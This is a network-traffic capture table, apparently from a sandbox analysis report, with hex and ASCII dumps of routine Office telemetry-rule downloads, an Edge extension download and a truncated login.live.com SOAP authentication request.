2024-11-15 08:55:37 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.7	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:37 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:37 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:37 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 43525779-601e-003e-2ed2-2c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085537Z-16547b76f7fxdzxghC1DFWmf7n0000000n2g000000003mam x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:37 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.7	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:37 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:38 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:38 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: a29cb781-e01e-003c-78a5-34c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085538Z-1866b5c5fbbtpjhjhC1DFWr6tw0000000120000000001fcu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:38 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.7	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:38 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:38 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:38 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 18d5585a-801e-0015-2dfc-35f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085538Z-1866b5c5fbbt75vghC1DFW0qd4000000010g000000002rw6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 08:55:38 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.7	49890	142.250.186.65	443	1588	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:38 UTC	594	OUT	GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 08:55:38 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY1ZS-KdJbewzmKaMl1icuF4Cqmh_bvTngMPFpZZai2jng02ujGGTDg_L-6V9R3W_p2_NAxBAjGqjg X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Thu, 14 Nov 2024 17:26:51 GMT Expires: Fri, 14 Nov 2025 17:26:51 GMT Cache-Control: public, max-age=31536000 Age: 55727 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-15 08:55:38 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-15 08:55:38 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-11-15 08:55:38 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
2024-11-15 08:55:38 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-15 08:55:38 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
2024-11-15 08:55:38 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-11-15 08:55:38 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
2024-11-15 08:55:38 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-11-15 08:55:38 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-11-15 08:55:38 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.7	49876	40.126.32.133	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:38 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-15 08:55:38 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-15 08:55:38 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 15 Nov 2024 08:54:38 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BL2 x-ms-request-id: 068cc0ef-f1f6-4839-91f4-b01856bf3c55 PPServer: PPV: 30 H: BL02EPF0001DA43 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 15 Nov 2024 08:55:38 GMT Connection: close Content-Length: 1276
2024-11-15 08:55:38 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 